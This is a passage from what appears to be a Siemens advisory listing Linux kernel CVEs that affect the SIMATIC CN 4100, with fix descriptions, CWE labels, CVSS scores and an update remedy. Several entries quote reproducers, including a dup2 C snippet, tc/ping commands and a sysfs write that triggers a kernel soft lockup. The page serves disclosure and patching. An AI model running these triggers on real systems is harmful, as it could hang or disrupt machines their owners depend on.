String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39738\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: do not allow relocation of partially dropped subvolumes [BUG] There is an internal report that balance triggered transaction abort, with the following call trace: item 85 key (594509824 169 0) itemoff 12599 itemsize 33 extent refs 1 gen 197740 flags 2 ref#0: tree block backref root 7 item 86 key (594558976 169 0) itemoff 12566 itemsize 33 extent refs 1 gen 197522 flags 2 ref#0: tree block backref root 7 ... BTRFS error (device loop0): extent item not found for insert, bytenr 594526208 num_bytes 16384 parent 449921024 root_objectid 934 owner 1 offset 0 BTRFS error (device loop0): failed to run delayed ref for logical 594526208 num_bytes 16384 type 182 action 1 ref_mod 1: -117 ------------[ cut here ]------------ BTRFS: Transaction aborted (error -117) WARNING: CPU: 1 PID: 6963 at ../fs/btrfs/extent-tree.c:2168 btrfs_run_delayed_refs+0xfa/0x110 [btrfs] And btrfs check doesn't report anything wrong related to the extent tree. [CAUSE] The cause is a little complex, firstly the extent tree indeed doesn't have the backref for 594526208. The extent tree only have the following two backrefs around that bytenr on-disk: item 65 key (594509824 METADATA_ITEM 0) itemoff 13880 itemsize 33 refs 1 gen 197740 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE item 66 key (594558976 METADATA_ITEM 0) itemoff 13847 itemsize 33 refs 1 gen 197522 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE But the such missing backref item is not an corruption on disk, as the offending delayed ref belongs to subvolume 934, and that subvolume is being dropped: item 0 key (934 ROOT_ITEM 198229) itemoff 15844 itemsize 439 generation 198229 root_dirid 256 bytenr 10741039104 byte_limit 0 bytes_used 345571328 last_snapshot 198229 flags 0x1000000000001(RDONLY) refs 0 drop_progress key (206324 EXTENT_DATA 2711650304) drop_level 2 level 2 generation_v2 198229 And that offending tree block 594526208 is inside the dropped range of that subvolume. That explains why there is no backref item for that bytenr and why btrfs check is not reporting anything wrong. But this also shows another problem, as btrfs will do all the orphan subvolume cleanup at a read-write mount. So half-dropped subvolume should not exist after an RW mount, and balance itself is also exclusive to subvolume cleanup, meaning we shouldn't hit a subvolume half-dropped during relocation. The root cause is, there is no orphan item for this subvolume. In fact there are 5 subvolumes from around 2021 that have the same problem. It looks like the original report has some older kernels running, and caused those zombie subvolumes. Thankfully upstream commit 8d488a8c7ba2 (\"btrfs: fix subvolume/snapshot deletion not triggered on mount\") has long fixed the bug. [ENHANCEMENT] For repairing such old fs, btrfs-progs will be enhanced. Considering how delayed the problem will show up (at run delayed ref time) and at that time we have to abort transaction already, it is too late. Instead here we reject any half-dropped subvolume for reloc tree at the earliest time, preventing confusion and extra time wasted on debugging similar bugs.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39742\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: RDMA: hfi1: fix possible divide-by-zero in find_hw_thread_mask() The function divides number of online CPUs by num_core_siblings, and later checks the divider by zero. This implies a possibility to get and divide-by-zero runtime error. Fix it by moving the check prior to division. This also helps to save one indentation level.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39743\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: truncate good inode pages when hard link is 0 The fileset value of the inode copy from the disk by the reproducer is AGGR_RESERVED_I. When executing evict, its hard link number is 0, so its inode pages are not truncated. This causes the bugon to be triggered when executing clear_inode() because nrpages is greater than 0.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39749\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: rcu: Protect ->defer_qs_iw_pending from data race On kernels built with CONFIG_IRQ_WORK=y, when rcu_read_unlock() is invoked within an interrupts-disabled region of code [1], it will invoke rcu_read_unlock_special(), which uses an irq-work handler to force the system to notice when the RCU read-side critical section actually ends. That end won't happen until interrupts are enabled at the soonest. In some kernels, such as those booted with rcutree.use_softirq=y, the irq-work handler is used unconditionally. The per-CPU rcu_data structure's ->defer_qs_iw_pending field is updated by the irq-work handler and is both read and updated by rcu_read_unlock_special(). This resulted in the following KCSAN splat: ------------------------------------------------------------------------ BUG: KCSAN: data-race in rcu_preempt_deferred_qs_handler / rcu_read_unlock_special read to 0xffff96b95f42d8d8 of 1 bytes by task 90 on cpu 8: rcu_read_unlock_special+0x175/0x260 __rcu_read_unlock+0x92/0xa0 rt_spin_unlock+0x9b/0xc0 __local_bh_enable+0x10d/0x170 __local_bh_enable_ip+0xfb/0x150 rcu_do_batch+0x595/0xc40 rcu_cpu_kthread+0x4e9/0x830 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 write to 0xffff96b95f42d8d8 of 1 bytes by task 88 on cpu 8: rcu_preempt_deferred_qs_handler+0x1e/0x30 irq_work_single+0xaf/0x160 run_irq_workd+0x91/0xc0 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 no locks held by irq_work/8/88. irq event stamp: 200272 hardirqs last enabled at (200272): [] finish_task_switch+0x131/0x320 hardirqs last disabled at (200271): [] __schedule+0x129/0xd70 softirqs last enabled at (0): [] copy_process+0x4df/0x1cc0 softirqs last disabled at (0): [<0000000000000000>] 0x0 ------------------------------------------------------------------------ The problem is that irq-work handlers run with interrupts enabled, which means that rcu_preempt_deferred_qs_handler() could be interrupted, and that interrupt handler might contain an RCU read-side critical section, which might invoke rcu_read_unlock_special(). In the strict KCSAN mode of operation used by RCU, this constitutes a data race on the ->defer_qs_iw_pending field. This commit therefore disables interrupts across the portion of the rcu_preempt_deferred_qs_handler() that updates the ->defer_qs_iw_pending field. This suffices because this handler is not a fast path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39752\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: rockchip: fix kernel hang during smp initialization In order to bring up secondary CPUs main CPU write trampoline code to SRAM. The trampoline code is written while secondary CPUs are powered on (at least that true for RK3188 CPU). Sometimes that leads to kernel hang. Probably because secondary CPU execute trampoline code while kernel doesn't expect. The patch moves SRAM initialization step to the point where all secondary CPUs are powered down. That fixes rarely hangs on RK3188: [ 0.091568] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000 [ 0.091996] rockchip_smp_prepare_cpus: ncores 4\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-364 Signal Handler Race Condition\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39756\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INT_MAX When sysctl_nr_open is set to a very high value (for example, 1073741816 as set by systemd), processes attempting to use file descriptors near the limit can trigger massive memory allocation attempts that exceed INT_MAX, resulting in a WARNING in mm/slub.c: WARNING: CPU: 0 PID: 44 at mm/slub.c:5027 __kvmalloc_node_noprof+0x21a/0x288 This happens because kvmalloc_array() and kvmalloc() check if the requested size exceeds INT_MAX and emit a warning when the allocation is not flagged with __GFP_NOWARN. Specifically, when nr_open is set to 1073741816 (0x3ffffff8) and a process calls dup2(oldfd, 1073741880), the kernel attempts to allocate: - File descriptor array: 1073741880 * 8 bytes = 8,589,935,040 bytes - Multiple bitmaps: ~400MB - Total allocation size: > 8GB (exceeding INT_MAX = 2,147,483,647) Reproducer: 1. Set /proc/sys/fs/nr_open to 1073741816: # echo 1073741816 > /proc/sys/fs/nr_open 2. Run a program that uses a high file descriptor: #include #include int main() { struct rlimit rlim = {1073741824, 1073741824}; setrlimit(RLIMIT_NOFILE, &rlim); dup2(2, 1073741880); // Triggers the warning return 0; } 3. Observe WARNING in dmesg at mm/slub.c:5027 systemd commit a8b627a introduced automatic bumping of fs.nr_open to the maximum possible value. The rationale was that systems with memory control groups (memcg) no longer need separate file descriptor limits since memory is properly accounted. However, this change overlooked that: 1. The kernel's allocation functions still enforce INT_MAX as a maximum size regardless of memcg accounting 2. Programs and tests that legitimately test file descriptor limits can inadvertently trigger massive allocations 3. The resulting allocations (>8GB) are impractical and will always fail systemd's algorithm starts with INT_MAX and keeps halving the value until the kernel accepts it. On most systems, this results in nr_open being set to 1073741816 (0x3ffffff8), which is just under 1GB of file descriptors. While processes rarely use file descriptors near this limit in normal operation, certain selftests (like tools/testing/selftests/core/unshare_test.c) and programs that test file descriptor limits can trigger this issue. Fix this by adding a check in alloc_fdtable() to ensure the requested allocation size does not exceed INT_MAX. This causes the operation to fail with -EMFILE instead of triggering a kernel warning and avoids the impractical >8GB memory allocation request.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39757\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 cluster segment descriptors UAC3 class segment descriptors need to be verified whether their sizes match with the declared lengths and whether they fit with the allocated buffer sizes, too. Otherwise malicious firmware may lead to the unexpected OOB accesses.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39759\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: qgroup: fix race between quota disable and quota rescan ioctl There's a race between a task disabling quotas and another running the rescan ioctl that can result in a use-after-free of qgroup records from the fs_info->qgroup_tree rbtree. This happens as follows: 1) Task A enters btrfs_ioctl_quota_rescan() -> btrfs_qgroup_rescan(); 2) Task B enters btrfs_quota_disable() and calls btrfs_qgroup_wait_for_completion(), which does nothing because at that point fs_info->qgroup_rescan_running is false (it wasn't set yet by task A); 3) Task B calls btrfs_free_qgroup_config() which starts freeing qgroups from fs_info->qgroup_tree without taking the lock fs_info->qgroup_lock; 4) Task A enters qgroup_rescan_zero_tracking() which starts iterating the fs_info->qgroup_tree tree while holding fs_info->qgroup_lock, but task B is freeing qgroup records from that tree without holding the lock, resulting in a use-after-free. Fix this by taking fs_info->qgroup_lock at btrfs_free_qgroup_config(). Also at btrfs_qgroup_rescan() don't start the rescan worker if quotas were already disabled.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39760\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: core: config: Prevent OOB read in SS endpoint companion parsing usb_parse_ss_endpoint_companion() checks descriptor type before length, enabling a potentially odd read outside of the buffer size. Fix this up by checking the size first before looking at any of the fields in the descriptor.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39766\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: Make cake_enqueue return NET_XMIT_CN when past buffer_limit The following setup can trigger a WARNING in htb_activate due to the condition: !cl->leaf.q->q.qlen tc qdisc del dev lo root tc qdisc add dev lo root handle 1: htb default 1 tc class add dev lo parent 1: classid 1:1 \\ htb rate 64bit tc qdisc add dev lo parent 1:1 handle f: \\ cake memlimit 1b ping -I lo -f -c1 -s64 -W0.001 127.0.0.1 This is because the low memlimit leads to a low buffer_limit, which causes packet dropping. However, cake_enqueue still returns NET_XMIT_SUCCESS, causing htb_enqueue to call htb_activate with an empty child qdisc. We should return NET_XMIT_CN when packets are dropped from the same tin and flow. I do not believe return value of NET_XMIT_CN is necessary for packet drops in the case of ack filtering, as that is meant to optimize performance, not to signal congestion.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39770\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: gso: Forbid IPv6 TSO with extensions on devices with only IPV6_CSUM When performing Generic Segmentation Offload (GSO) on an IPv6 packet that contains extension headers, the kernel incorrectly requests checksum offload if the egress device only advertises NETIF_F_IPV6_CSUM feature, which has a strict contract: it supports checksum offload only for plain TCP or UDP over IPv6 and explicitly does not support packets with extension headers. The current GSO logic violates this contract by failing to disable the feature for packets with extension headers, such as those used in GREoIPv6 tunnels. This violation results in the device being asked to perform an operation it cannot support, leading to a `skb_warn_bad_offload` warning and a collapse of network throughput. While device TSO/USO is correctly bypassed in favor of software GSO for these packets, the GSO stack must be explicitly told not to request checksum offload. Mask NETIF_F_IPV6_CSUM, NETIF_F_TSO6 and NETIF_F_GSO_UDP_L4 in gso_features_check if the IPv6 header contains extension headers to compute checksum in software. The exception is a BIG TCP extension, which, as stated in commit 68e068cabd2c6c53 (\"net: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets\"): \"The feature is only enabled on devices that support BIG TCP TSO. The header is only present for PF_PACKET taps like tcpdump, and not transmitted by physical devices.\" kernel log output (truncated): WARNING: CPU: 1 PID: 5273 at net/core/dev.c:3535 skb_warn_bad_offload+0x81/0x140 ... Call Trace: skb_checksum_help+0x12a/0x1f0 validate_xmit_skb+0x1a3/0x2d0 validate_xmit_skb_list+0x4f/0x80 sch_direct_xmit+0x1a2/0x380 __dev_xmit_skb+0x242/0x670 __dev_queue_xmit+0x3fc/0x7f0 ip6_finish_output2+0x25e/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_tnl_xmit+0x608/0xc00 [ip6_tunnel] ip6gre_tunnel_xmit+0x1c0/0x390 [ip6_gre] dev_hard_start_xmit+0x63/0x1c0 __dev_queue_xmit+0x6d0/0x7f0 ip6_finish_output2+0x214/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 inet6_csk_xmit+0xeb/0x150 __tcp_transmit_skb+0x555/0xa80 tcp_write_xmit+0x32a/0xe90 tcp_sendmsg_locked+0x437/0x1110 tcp_sendmsg+0x2f/0x50 ... skb linear: 00000000: e4 3d 1a 7d ec 30 e4 3d 1a 7e 5d 90 86 dd 60 0e skb linear: 00000010: 00 0a 1b 34 3c 40 20 11 00 00 00 00 00 00 00 00 skb linear: 00000020: 00 00 00 00 00 12 20 11 00 00 00 00 00 00 00 00 skb linear: 00000030: 00 00 00 00 00 11 2f 00 04 01 04 01 01 00 00 00 skb linear: 00000040: 86 dd 60 0e 00 0a 1b 00 06 40 20 23 00 00 00 00 skb linear: 00000050: 00 00 00 00 00 00 00 00 00 12 20 23 00 00 00 00 skb linear: 00000060: 00 00 00 00 00 00 00 00 00 11 bf 96 14 51 13 f9 skb linear: 00000070: ae 27 a0 a8 2b e3 80 18 00 40 5b 6f 00 00 01 01 skb linear: 00000080: 08 0a 42 d4 50 d5 4b 70 f8 1a\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-573 Improper Following of Specification by Caller\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39772\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/hisilicon/hibmc: fix the hibmc loaded failed bug When hibmc loaded failed, the driver use hibmc_unload to free the resource, but the mutexes in mode.config are not init, which will access an NULL pointer. Just change goto statement to return, because hibnc_hw_init() doesn't need to free anything.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39773\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: bridge: fix soft lockup in br_multicast_query_expired() When set multicast_query_interval to a large value, the local variable 'time' in br_multicast_send_query() may overflow. If the time is smaller than jiffies, the timer will expire immediately, and then call mod_timer() again, which creates a loop and may trigger the following soft lockup issue. watchdog: BUG: soft lockup - CPU#1 stuck for 221s! [rb_consumer:66] CPU: 1 UID: 0 PID: 66 Comm: rb_consumer Not tainted 6.16.0+ #259 PREEMPT(none) Call Trace: __netdev_alloc_skb+0x2e/0x3a0 br_ip6_multicast_alloc_query+0x212/0x1b70 __br_multicast_send_query+0x376/0xac0 br_multicast_send_query+0x299/0x510 br_multicast_query_expired.constprop.0+0x16d/0x1b0 call_timer_fn+0x3b/0x2a0 __run_timers+0x619/0x950 run_timer_softirq+0x11c/0x220 handle_softirqs+0x18e/0x560 __irq_exit_rcu+0x158/0x1a0 sysvec_apic_timer_interrupt+0x76/0x90 This issue can be reproduced with: ip link add br0 type bridge echo 1 > /sys/class/net/br0/bridge/multicast_querier echo 0xffffffffffffffff > /sys/class/net/br0/bridge/multicast_query_interval ip link set dev br0 up The multicast_startup_query_interval can also cause this issue. Similar to the commit 99b40610956a (\"net: bridge: mcast: add and enforce query interval minimum\"), add check for the query interval maximum to fix this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39776\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/debug_vm_pgtable: clear page table entries at destroy_args() The mm/debug_vm_pagetable test allocates manually page table entries for the tests it runs, using also its manually allocated mm_struct. That in itself is ok, but when it exits, at destroy_args() it fails to clear those entries with the *_clear functions. The problem is that leaves stale entries. If another process allocates an mm_struct with a pgd at the same address, it may end up running into the stale entry. This is happening in practice on a debug kernel with CONFIG_DEBUG_VM_PGTABLE=y, for example this is the output with some extra debugging I added (it prints a warning trace if pgtables_bytes goes negative, in addition to the warning at check_mm() function): [ 2.539353] debug_vm_pgtable: [get_random_vaddr ]: random_vaddr is 0x7ea247140000 [ 2.539366] kmem_cache info [ 2.539374] kmem_cachep 0x000000002ce82385 - freelist 0x0000000000000000 - offset 0x508 [ 2.539447] debug_vm_pgtable: [init_args ]: args->mm is 0x000000002267cc9e (...) [ 2.552800] WARNING: CPU: 5 PID: 116 at include/linux/mm.h:2841 free_pud_range+0x8bc/0x8d0 [ 2.552816] Modules linked in: [ 2.552843] CPU: 5 UID: 0 PID: 116 Comm: modprobe Not tainted 6.12.0-105.debug_vm2.el10.ppc64le+debug #1 VOLUNTARY [ 2.552859] Hardware name: IBM,9009-41A POWER9 (architected) 0x4e0202 0xf000005 of:IBM,FW910.00 (VL910_062) hv:phyp pSeries [ 2.552872] NIP: c0000000007eef3c LR: c0000000007eef30 CTR: c0000000003d8c90 [ 2.552885] REGS: c0000000622e73b0 TRAP: 0700 Not tainted (6.12.0-105.debug_vm2.el10.ppc64le+debug) [ 2.552899] MSR: 800000000282b033 CR: 24002822 XER: 0000000a [ 2.552954] CFAR: c0000000008f03f0 IRQMASK: 0 [ 2.552954] GPR00: c0000000007eef30 c0000000622e7650 c000000002b1ac00 0000000000000001 [ 2.552954] GPR04: 0000000000000008 0000000000000000 c0000000007eef30 ffffffffffffffff [ 2.552954] GPR08: 00000000ffff00f5 0000000000000001 0000000000000048 0000000000004000 [ 2.552954] GPR12: 00000003fa440000 c000000017ffa300 c0000000051d9f80 ffffffffffffffdb [ 2.552954] GPR16: 0000000000000000 0000000000000008 000000000000000a 60000000000000e0 [ 2.552954] GPR20: 4080000000000000 c0000000113af038 00007fffcf130000 0000700000000000 [ 2.552954] GPR24: c000000062a6a000 0000000000000001 8000000062a68000 0000000000000001 [ 2.552954] GPR28: 000000000000000a c000000062ebc600 0000000000002000 c000000062ebc760 [ 2.553170] NIP [c0000000007eef3c] free_pud_range+0x8bc/0x8d0 [ 2.553185] LR [c0000000007eef30] 